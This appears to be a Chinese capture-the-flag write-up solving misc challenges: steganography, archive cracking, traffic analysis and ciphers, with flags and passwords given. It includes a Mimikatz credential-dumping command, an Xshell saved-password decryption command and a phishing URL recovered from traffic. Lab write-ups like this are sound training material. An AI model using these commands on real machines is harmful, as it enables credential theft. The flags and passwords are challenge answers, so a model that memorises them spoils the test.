题目给了一张图片,随波逐流分析发现图片里还有文件,提取一个ole文件发现是MS Office/OLE2的文件头,也就是ppt,然后把文件后缀改成ppt
打开后要密码,直接使用工具爆破,爆破密码是19631.然后全局搜索flag,发现在最后一张,有两张图片重叠,移开第一张,然后全选改颜色

如图,这就是flag,此时flag就在粘贴板
flag{dfe0dbf036a69da486f6a16800b618c4}
Mimikatz
使用mimikztz分析一下
sekurlsa::logonPasswords full

密码是toor
vc
这都是取证用的工具,这也在misc板块啊,vc添加密钥文件挂载就行了。flag在flag.txt文件里
Xshell密码破解
当用户使用Xshell登录服务器时使用了保存密码的功能Xshell就会在其Session文件夹中保存有当前的密码加密哈希,此时再需要知道目标用户的机器名和SID值就可以破解该密码。
正常当拿到Shell后输入whoami /user即可看到SID值,这里题目已经把xsh文件和用户的SID值给出了。
python Xdecrypt.py -s purpletS-1-5-21-323397330-1794634962-2946154912-1001 -p vYZ6tni/wCY0aWv83Tu+0UvW5hCYP1gMOl8o/zF5LIJkmHsIpz1l1Avnog==

稻香
010打开发现最后有编码,cyberchef直接梭密码是p@2sw0rd!

那就考虑slienteye和deepsound,导入deepsound有一张图片

提示f5隐写

flag{7cde2145bef063b156ed13fd6dae8ffc}
两段密码
随波逐流提取出压缩包,解压时有提示

55c46nD0
010打开

LX8I3F9E
f55c46nD0 LX8I3F9E,然后解压压缩包,根据文件内容一眼docx文档,然后改字体颜色,移开图片

flag{LCD2ehOtE8CrdBvU}
流量分析
没啥说的看http流量就行了

流量
工具一把梭

flag{thisflaghahaha}
雪姐
首先是伪加密解开后就是crc32爆破,这个以前没接触过,用工具直接爆破或者脚本爆破都行,感谢土哥送来的工具,然后爆破密码是1sHere
根据文件内容得知是snow隐写
随波逐流提取
flag{I`am_very_T1red}
愿者上钩
这里看大佬博客说根据提示,是要在流量包中找到邮件,再在邮件内容中找到钓鱼网站
这提示也太不明显了,这流量包太大,知道过滤stmp协议可以节省大量时间,大佬还是太强了
在tcp流1030有一段base64,在在线Base64编码|在线Base64解码|Base64编码原理介绍--查错网
解码可以看到完整内容
tPO80rrDoaMNCiAgICAgvPjT2rmry77N+MLnvNy5ubjEtq+jrLK/t9bTptPD0OjSqsn9vLajrL7JsOaxvm1haWyhom9hoaJjcm21yM+1zbPW8LK9vavM5ru7o6zH67TzvNK1x8K8aHR0cDovLzExOC4xOTQuMTk2LjIzMjo4MDg0L2dldC5waHAgzO7QtNfUvLq1xNXKusXS1LHjxeS6z8+1zbPJ/by2oaMN
CiAgICDQu9C7tPO80qOhDQoNCg==
解码可以看到一个url
http://118.194.196.232:8084/get.php
这里应该缺少题目描述
118.194.196.232:8084的md5值是flag,题目应该加上
狗狗重生
文件放入our secret输入密码然后base64解码两次,cyberchef直接梭
data藏起来了
010打开文件

这里文件头被修改了rar的文件头应该是52 61 72 21 1A 07 00,修改一下,改为rar后缀然后得到一个文档
哎呀,文档内容不小心弄丢了,你能帮我找到吗……
03041017243118-0108152223-08071421152223-06051118262720-06051118262720-
020815231710-071320282215-020916233003111824-0108152223-031017242526191205-
02010713212930-0512192607132028
到这就没思路了,然后参考大佬博客
PolarD&N2023秋季个人挑战赛—Misc全解 - Kicky_Mu - 博客园
然后把数据填充到日历里,连接起来就是flag

GOODLUCK
抽象
机密
过滤ftp发现传输了一个rar文件。随波逐流提取一下

提取压缩包爆破密码1903得到flag
是uu吗
有音频有密码考虑deepsound,但是没啥东西,用steghide提取,给的passwd在随波逐流解一下
uuencode解码123456
steghide extract -sf noon-close-to-you.wav -xf out.txt -p 123456

不要骂人哦
按照题目要求还有给的附件一步一步走,直接让ai写就行了
++++++++[>>++>++++>++++++>++++++++>++++++++++>++++++++++++>++++++++++++++>++++++++++++++++>++++++++++++++++++>++++++++++++++++++++>++++++++++++++++++++++>++++++++++++++++++++++++>++++++++++++++++++++++++++>++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++<<<<<<<<<<<<<<<<-]>>>>>>>>>>>>>>>+++++.<<<<<<+.>>------.>>>>.<<<<<<++++++.>>>>------.>>+++.<<+++++.<<-.>>>>+.<<<<+++++++++.<++++++++.>>>>>--.<<<<<++.<---.>>>>>>---.<<--.<<--.>>>>++.<<<<<++.>-.>>>>.<<<<<.>>-----.>>>-.<<++.<<<<+.>>>>>>+++.<<.<<<<++.>>>>>>>-.<<<---.<<<<------.
做出这题的你期末必过!
加点儿什么
随波逐流分析得到一个压缩包解压得到一个c语言文件,分析得到代码不完全,ai补全并运行
#include <bits/stdc++.h> using namespace std; #define MAX 100 char ciphertext[MAX]; // 密文 char plaintext[MAX]; // 明文 int K = 4; // 凯撒位移常量 // 加密函数 void Encryption() { cout << "请输入明文:" << endl; cin.ignore(numeric_limits<streamsize>::max(), '\n'); cin.getline(plaintext, MAX); cout << "密文为:" << endl; int i; for(i = 0; plaintext[i] != '\0'; i++) { if(plaintext[i] >= 'A' && plaintext[i] <= 'Z') { ciphertext[i] = (plaintext[i] - 'A' + K) % 26 + 'A'; } else if (plaintext[i] >= 'a' && plaintext[i] <= 'z') { ciphertext[i] = (plaintext[i] - 'a' + K) % 26 + 'a'; } else { ciphertext[i] = plaintext[i]; } } ciphertext[i] = '\0'; // ★ 必须要加 cout << ciphertext << endl; } // 解密函数 void Decryption() { cout << "请输入密文:" << endl; cin.ignore(numeric_limits<streamsize>::max(), '\n'); cin.getline(ciphertext, MAX); cout << "明文为:" << endl; int i; for(i = 0; ciphertext[i] != '\0'; i++) { if(ciphertext[i] >= 'A' && ciphertext[i] <= 'Z') { plaintext[i] = ((ciphertext[i] - 'A' - K) % 26 + 26) % 26 + 'A'; } else if (ciphertext[i] >= 'a' && ciphertext[i] <= 'z') { plaintext[i] = ((ciphertext[i] - 'a' - K) % 26 + 26) % 26 + 'a'; } else { plaintext[i] = ciphertext[i]; } } plaintext[i] = '\0'; // ★ 必须要加 cout << plaintext << endl; } int main() { int n; while(true) { cout << "请选择(1: 加密,2: 解密,3: 退出):" << endl; cin >> n; switch(n) { case 1: Encryption(); break; case 2: Decryption(); break; case 3: return 0; default: cout << "无效输入,请重新选择。" << endl; break; } } return 0; } 加点什么2.0
372658619JI0707I8G64HF2400F96991
同上
爱人的眼睛是第八大洋
根据图片提示看菲菲的眼睛

ggbbod
然后oursecret提取文件

零宽字符隐写
Z2dib25k54ix6I+y6I+y5YWs5Li75LiA6L6I5a2Q
一道简单的流量
netA分析得到流量包最后有个压缩包就像是要找的文件,提取出来解压出得到
U3RlZ2Fub2dyYXBoeSBpcyB0aGUgYXJ0IGFuZCBzY2llbmNlIG9m
IHdyaXRpbmcgaGlkZGVuIG1lc3NhZ2VzIGluIHN1Y2ggYSB3YXkgdGhhdCBubyBvbmV=
LCBhcGFydCBmcm9tIHRoZSBzZW5kZXIgYW5kIGludGVuZGVkIHJlY2lwaWVudCwgc3VzcGU=
Y3RzIHRoZSBleGlzdGVuY2Ugb2YgdGhlIG1lc3M=
YWdlLCBhIGZvcm0gb2Ygc2VjdXJpdHkgdGhyb3VnaCBvYnNjdXJpdHkuIFS=
aGUgd29yZCBzdGVnYW5vZ3JhcGh5IGlzIG9mIEdyZWVrIG9yaWdpbiBhbmQgbWVhbnMgImNvbmNlYW==
bGVkIHdyaXRpbmciIGZyb20gdGhlIEdyZWVrIHdvcmRzIHN0ZWdhbm9zIG1lYW5pbmcgImNv
dmVyZWQgb3IgcHJvdGVjdGVkIiwgYW5kIGdyYXBoZWluIG1lYW5pbmcgInRvIHc=
cml0ZSIuIFRoZSBmaXJzdCByZWNvcmRlZCB1c2Ugb2YgdGhlIHRlcm0gd2FzIGluIDE0OTkgYnkgSm9o
YW5uZXMgVHJpdGhlbWl1cyBpbiBoaXMgU3RlZ2Fub2dyYXBoaWEsIGEgdHJlYV==
dGlzZSBvbiBjcnlwdG9ncmFwaHkgYW5kIHN0ZWdhbm9ncmFwaHkgZGlzZ8==
dWlzZWQgYXMgYSBib29rIG9uIG1hZ2ljLiBHZW5lcmFsbHksIG1lc3P=
YWdlcyB3aWxsIGFwcGVhciB0byBiZSBzb21ldGhpbmcgZWxzZTogaW1hZ2VzLCBhcnRp
Y2xlcywgc2hvcHBpbmcgbGlzdHMsIG9yIHNvbWUgb3R=
aGVyIGNvdmVydGV4dCBhbmQsIGNsYXNzaWNhbGx5LCB0aGUgaGlkZGVuIG1lc3NhZ2UgbWF5IGJlIGluIGludmm=
c2libGUgaW5rIGJldHdlZW4gdGhlIHZpc2libGUgbGluZXMgb2YgYSBwcml2YXRlIGxldHRlci4NCg0KVGhl
IGFkdmFudGFnZSBvZiBzdGVnYW5vZ3JhcGh5LCBvdmVyIGNy
eXB0b2dyYXBoeSBhbG9uZSwgaXMgdGhhdCBtZXNzYWdlcyBkbyBub3QgYXR0cmFjdCBhdHRlbnRpb25=
IHRvIHRoZW1zZWx2ZXMuIFBsYWlubHkgdmlzaWJsZSBlbmNyeXB0ZWQgbWVzc2FnZXOXbm8gbWF0dGVyIF==
aG93IHVuYnJlYWthYmxll3dpbGwgYXJvdXNlIHN=
dXNwaWNpb24sIGFuZCBtYXkgaW4gdGhlbXNlbHZlcyBiZSBpbmNyaW1pbmF0aW5nIP==
aW4gY291bnRyaWVzIHdoZXJlIGVuY3J5cHRpb24gaXMgaWxsZWdhbC4gVGhlcmVmb3JlLH==
IHdoZXJlYXMgY3J5cHRvZ3JhcGh5IHByb3RlY3RzIHRoZSBjb250ZW50cyBvZj==
IGEgbWVzc2FnZSwgc3RlZ2Fub2dyYXBoeSBjYW4gYmUgc2FpZCB0byBwcm90ZWN0IGJ=
b3RoIG1lc3NhZ2VzIGFuZCBjb21tdW5pY2F0aW5nIHBhcnRpZXMuDQoNClN0ZWdhbm9ncmFwaHkgaW5jbHW=
ZGVzIHRoZSBjb25jZWFsbWVudCBvZiBpbmZvcm1hdGlvbiB3aXRoaW4gY29t
cHV0ZXIgZmlsZXMuIEluIGRpZ2l0YWwgc3RlZ2Fub2dyYXBoeSwgZWxlY3Ryb25pYyBjb21tdW5pY2F0aW9u
cyBtYXkgaW5jbHVkZSBzdGVnYW5vZ3JhcGhpYyBjb2RpbmcgaW5zaZ==
ZGUgb2YgYSB0cmFuc3BvcnQgbGF5ZXIsIHN1Y2ggYXMgYSBkb2N1bWVudCBmaWxlLCBpbWFnZSBmaWx=
ZSwgcHJvZ3JhbSBvciBwcm90b2NvbC4gTWVkaWEg
ZmlsZXMgYXJlIGlkZWFsIGZvciBzdGVnYW5vZ3JhcGhpYyB0cmFuc21pc3Npb+==
biBiZWNhdXNlIG9mIHRoZWlyIGxhcmdlIHNpemUuIEFzIB==
YSBzaW1wbGUgZXhhbXBsZSwgYSBzZW5kZXIgbWlnaHQgc3RhcnQgd2l0aCBh
biBpbm5vY3VvdXMgaW1hZ2UgZmlsZSBhbmQgYWRqdXN0IHRoZSBjb2xvciBvZiBldmVyeSAxMDB0aCBwaXhlbCD=
dG8gY29ycmVzcG9uZCB0byBhIGxldHRlciBpbiB0aGUgYWxwaGFiZXQsIGF=
IGNoYW5nZSBzbyBzdWJ0bGUgdGhhdCBzb21lb25lIG5vdCBzcGVjaWZpY2FsbHkgbG9va2luZyBm
b3IgaXQgaXMgdW5saWtlbHkgdG8gbm90aWNlIGl0Lg0KDQpUaGU=
IGZpcnN0IHJlY29yZGVkIHVzZXMgb2Ygc3RlZ2Fub2dyYXBoeSBjYW4gYmUgdHJ=
YWNlZCBiYWNrIHRvIDQ0MCBCQyB3aGVuIEhlcm9kb3R1cyBtZW50aW9ucyB0d28gZXhhbXBsZXMgb+==
ZiBzdGVnYW5vZ3JhcGh5IGluIFRoZSBIaXN0b3JpZXMgb2Yg
SGVyb2RvdHVzLiBEZW1hcmF0dXMgc2VudCBhIHdhcm5pbmcgYWJvdXQgYSB=
Zm9ydGhjb21pbmcgYXR0YWNrIHRvIEdyZWVjZSBieSB3
cml0aW5nIGl0IGRpcmVjdGx5IG9uIHRoZSB3b29kZW4gYmFja2luZyBvZiBhIHdheCB0YWJsZXQgYmVm
b3JlIGFwcGx5aW5nIGl0cyBiZWVzd2F4IHN1cmZhY2UuIFdheCB0YWJsZXRzIHdlcmUgaW4gY29tbW9uIHVzZV==
IHRoZW4gYXMgcmV1c2FibGUgd3JpdGluZyBzdXJmYWNlcywgc29tZXRpbWX=
cyB1c2VkIGZvciBzaG9ydGhhbmQuIEFub3RoZXIgYW5jaWVudCBleGFtcGxlIGlzIHRoYXQgb9==
ZiBIaXN0aWFldXMsIHdobyBzaGF2ZWQgdGhlIGhlYWQgb2YgaGlzIG1vc3QgdHJ1c3RlZCBz
bGF2ZSBhbmQgdGF0dG9vZWQgYSBtZXNzYWdlIG9uIGl0LiBBZnRlciBoaXMgaGFpciBoYWQgZ5==
cm93biB0aGUgbWVzc2FnZSB3YXMgaGlkZGVuLiBUaGUgcHVycG9zZSB3YXMgdG+=
IGluc3RpZ2F0ZSBhIHJldm9sdCBhZ2FpbnN0IHRoZSBQZXJzaWFucy4NCg0KU3RlZ2Fub2dyYXBoeSBoYXMgYm==
ZWVuIHdpZGVseSB1c2VkLCBpbmNsdWRpbmcgaW4gcmVjZW50IGhpc3RvcmljYWwgdGltZXMgYW5kIHT=
aGUgcHJlc2VudCBkYXkuIFBvc3NpYmxlIHBlcm11dGF0aW9ucyBhcmUgZW5kbGVzcyBhbmT=
IGtub3duIGV4YW1wbGVzIGluY2x1ZGU6DQoqIEhpZGRlbiBtZXNzYWdlcyB3aXRoaW4gd2F4IHRh
YmxldHM6IGluIGFuY2llbnQgR3JlZWNlLCBwZW9wbGUgd3JvdGUgbWV=
c3NhZ2VzIG9uIHRoZSB3b29kLCB0aGVuIGNvdmVyZWQgaXQgd2l0aCB3YXggdXBvbiB3aGljaCBhbiBpbm5vY2Vu
dCBjb3ZlcmluZyBtZXNzYWdlIHdhcyB3cml0dGVu
Lg0KKiBIaWRkZW4gbWVzc2FnZXMgb24gbWVzc2VuZ2VyJ3MgYm9keTogYWxzbyB1c2VkIGluIGFuY2llbt==
dCBHcmVlY2UuIEhlcm9kb3R1cyB0ZWxscyB0aGUgc3Rvcnkgb1==
ZiBhIG1lc3NhZ2UgdGF0dG9vZWQgb24gYSBzbGF2ZSdzIHNoYXZlZCBoZWFkLCBoaWRkZW4gYnkgdGhl
IGdyb3d0aCBvZiBoaXMgaGFpciwgYW5kIGV4cG9zZWQgYnkgc2hhdmluZyBoaXMgaGVhZM==
IGFnYWluLiBUaGUgbWVzc2FnZSBhbGxlZ2VkbHkgY2FycmllZCBhIHdhcm5pbmcgdG8gR3JlZWNlIGFib5==
dXQgUGVyc2lhbiBpbnZhc2lvbiBwbGFucy4gVGh=
aXMgbWV0aG9kIGhhcyBvYnZpb3VzIGRyYXdiYWNrcyz=
IHN1Y2ggYXMgZGVsYXllZCB0cmFuc21pc3Npb24gd2hpbGUgd2FpdGluZyBmb3IgdGhlIHP=
bGF2ZSdzIGhhaXIgdG8gZ3JvdywgYW5kIHRoZSByZXN0cmljdGlvbnMgb3==
biB0aGUgbnVtYmVyIGFuZCBzaXplIG9mIG1lc3M=
YWdlcyB0aGF0IGNhbiBiZSBlbmNvZGVkIG9uIG9uZSBwZXJzb24=
J3Mgc2NhbHAuDQoqIEluIFdXSUksIHRoZSBGcmVuY2ggUmVzaXN0YW5jZSBzZW50IHNvbWUgbWVzc2FnZXMgd2==
cml0dGVuIG9uIHRoZSBiYWNrcyBvZiBjb3VyaWVycyD=
dXNpbmcgaW52aXNpYmxlIGluay4NCiogSGlkZGVuIG1lc3NhZ2VzIG9uIHBhcGVyIHdy
aXR0ZW4gaW4gc2VjcmV0IGlua3MsIHVuZGVyIG90aGVyIG1lc3NhZ2Vz
IG9yIG9uIHRoZSBibGFuayBwYXJ0cyBvZiBvdGhlct==
IG1lc3NhZ2VzLg0KKiBNZXNzYWdlcyB3cml0dGVuIGluIE1vcnNlIGNvZGUgb24ga25pdHRpbmcgeWFybiBhbmQg
dGhlbiBrbml0dGVkIGludG8gYSBwaWVjZSBvZiBjbG90aGluZyB3b3K=
biBieSBhIGNvdXJpZXIuDQoqIE1lc3NhZ2VzIHdyaXR0ZW4gb24gdGhlIGJhY2sgb5==
ZiBwb3N0YWdlIHN0YW1wcy4NCiogRHVyaW5nIGFuZCBhZnRlcm==
IFdvcmxkIFdhciBJSSwgZXNwaW9uYWdlIGFnZW50cyB1c2VkIHBob3RvZ3JhcGhpY2FsbHkgcO==
cm9kdWNlZCBtaWNyb2RvdHMgdG8gc2VuZCBpbmZvcm1hdGlvbiBiYWNrIGFuZH==
IGZvcnRoLiBNaWNyb2RvdHMgd2VyZSB0eXBpY2FsbHkg
bWludXRlLCBhcHByb3hpbWF0ZWx5IGxlc3MgdGhhbiB0aGUgc2l6ZSBvZiB0aGUgcGVyaW9kIHByb2R=
dWNlZCBieSBhIHR5cGV3cml0ZXIuIFdXSUkgbWljcm9kb3RzIG5lZWRlZCB0byBiZSBlbWJlZGRlZB==
IGluIHRoZSBwYXBlciBhbmQgY292ZXJlZCB3aXRoIGFuIGFkaGVzaXZlIChzdWNoIGFzIGNvbGxvZGlvbikuIFR=
aGlzIHdhcyByZWZsZWN0aXZlIGFuZCB0aHVzIGRldGVjdGFibGUg
Ynkgdmlld2luZyBhZ2FpbnN0IGdsYW5jaW5nIGxpZ2h0LiBBbHRlcm5hdGl2ZSB0ZWNobmlxdWVzIGluY2x1ZGVk
IGluc2VydGluZyBtaWNyb2RvdHMgaW50byBzbGl0cyBjdXQgaW50byB0aGUgZWRnZSBvZv==
IHBvc3QgY2FyZHMuDQoqIER1cmluZyBXb3JsZCBXYXIgSUksIGEgc3B5IGZvciB=
SmFwYW4gaW4gTmV3IFlvcmsgQ2l0eSwgVmVsdmFsZWW=
IERpY2tpbnNvbiwgc2VudCBpbmZvcm1hdGlvbiB0byBhY2NvbW1vZGF0aW9=
biBhZGRyZXNzZXMgaW4gbmV1dHJhbCBTb3V0aCBBbWVyaWO=
YS4gU2hlIHdhcyBhIGRlYWxlciBpbiBkb2xscywgYW5kIG==
aGVyIGxldHRlcnMgZGlzY3Vzc2VkIGhvdyBtYW55IG9mIHRoaXMgb3IgdGhhdCBkb2xs
IHRvIHNoaXAuIFRoZSBzdGVnb3RleHQgd2FzIHRoZSBkb2xsIG9yZGVycywgd2hpbGUgdGhl
IGNvbmNlYWxlZCAicGxhaW50ZXh0IiB3YXMgaXRzZWxmIGVuY2+=
ZGVkIGFuZCBnYXZlIGluZm9ybWF0aW9uIGFib3V0IHNoaXAgbW92ZW1lbnRzLF==
IGV0Yy4gSGVyIGNhc2UgYmVjYW1lIHNvbWV3aGF0IGZh
bW91cyBhbmQgc2hlIGJlY2FtZSBrbm93biBhcyB0aGX=
IERvbGwgV29tYW4uDQoqIENvbGQgV2FyIGNvdW50
ZXItcHJvcGFnYW5kYS4gSW4gMTk2OCwgY3JldyBtZW1iZW==
cnMgb2YgdGhlIFVTUyBQdWVibG8gKEFHRVItMikgaW50ZWxsaWdlbmNlIHNoaXAgaGVsZCBhcyBwcm==
aXNvbmVycyBieSBOb3J0aCBLb3JlYSwgY29tbXVuaWNhdGVkIGluIHNpZ25=
IGxhbmd1YWdlIGR1cmluZyBzdGFnZWQgcGhvdG8gb3Bwb3J0
dW5pdGllcywgaW5mb3JtaW5nIHRoZSBVbml0ZWQgU3RhdGVzIHRoZXkg
d2VyZSBub3QgZGVmZWN0b3JzIGJ1dCByYXRoZXIgd2VyZSBiZWluZyBoZWxkIGNh
cHRpdmUgYnkgdGhlIE5vcnRoIEtvcmVhbnMuIEluIG90aGVyIHBob3Rv
cyBwcmVzZW50ZWQgdG8gdGhlIFVTLCBjcmV3IG1lbWJlcnMgZ2F2ZSAidGhlIGZpbmdlciIgdG8g
dGhlIHVuc3VzcGVjdGluZyBOb3J0aCBLb3JlYW5zLCBpbiBhbiBhdHRlbXB0IHRvIE==
ZGlzY3JlZGl0IHBob3RvcyB0aGF0IHNob3dlZCB0aGVtIHNtaQ==
bGluZyBhbmQgY29tZm9ydGFibGUuDQoNCi0tDQpodHRwOi8vZW4ud2lraXBlZGlhLm9yZw==
L3dpa2kvU3RlZ2Fub2dyYXBoeQ0K
puzzlesolve分析多行base64编码

文物追回
这考察的RX-SSTV隐写,需要下载相关软件以及配置选项,具体参考RX-SSTV与MMsstv配置-ZEEKLOG博客
题目附件给的wav文件还有一图片,随波逐流分析提取压缩包,提取出来解压发现要密码然后密码肯定在音频文件了,但是不是摩斯密码,是RX-SSTV隐写
结合这两篇文章就可以得到

it'stooexpensive
然后再模拟器打开apk文件,分析图片

9527ETC
旧事
deepsound提取

在压缩包文件中有exe文件,运行的

zNonKWrtHeFDEufUrBWmWw==
附件的txt文件中base64密文非常长,尝试解码后失败,尝试base64转文件,在线Base64转文件工具 - 在线工具网,得到一个压缩包,然后用aes256解密zNonKWrtHeFDEufUrBWmWw==, zaijian。
随波逐流提取图片中的压缩包,然后有一个程序,下面就是ida里找了,本人不学逆向这ida不太会用就直接看wp了,输入密码19980928得到flag
KFC Crazy Thursday
这一题没复现出来先放放
为什么关机又关机
把bat改为txt然后发现是零宽隐写,不要运行bat,否则会关机的

U2FsdGVkX1/lZ63bb4CiULG4gr1Bl9idy1aYLzBwQFAk5TmLoqyHO/5CqFTUFya/
这个不对啊要在文字隐藏加密/解密 - 蜻蜓在线工具这个网站解的是对得
babalelilababala
不要运行这个exe,否则会关机的,

描述得到对不起已关机,这是密码
解压图片在steghide解,然后密码是图片

计算这个威力的值是160,这是密码,这一题的脑洞真是无敌了
最爱的专辑
首先base64解码是我爱火星哥,然后有密码有wav文件考虑deepsound,提取一个压缩包,然后有消息有数字,九宫格密码解码

解码后是首字母大写
Bruno Mars
神话传说
在txt文件是base100编码,解码得到wo_yao_shang_shenhua,然后oursecret解密得到一个图片
在图片中提取一个压缩包,然后随波逐流分析是伪加密,修复后得到flagflag{6843845f04bc13162bfd716921f04f0e}
传奇特工
根据提示用最直接的方法,那就直接爆破

解压的得到一堆文件,直接看赌场文件就行了,那个房间文件没啥用,根据思考2.txt提示
不知道证据在哪,先打听一下吧
身为特工的你凭借敏锐的直觉,察觉到线索就在那个神秘的人那里
看神秘人那个图片,分析十六进制数据

密码是1919810,是门1压缩包的密码,解压找到了一段base100编码
📜💦👽📞💗👸🐨🐨🐫🐬🐨🐫解码得到密码114514
解压门2得到两个数据15 5,然后看门3。门3中提到强大的武器,门2解压得到的文件名是反辐射警棍,这个就是武器,然后
居然真的有人能来到这里
不过到此为止吧,没人能够审判我!
f射光线!
cofr{qgnsr_bv_qgv_jfv}
门3中的关键信息如上,这个f射猜测是仿射密码,然后在门2得到的是两个参数,

flag{zheng_yi_zhi_cai}
完结撒花*★,°*:.☆( ̄▽ ̄)/$:*.°★* 。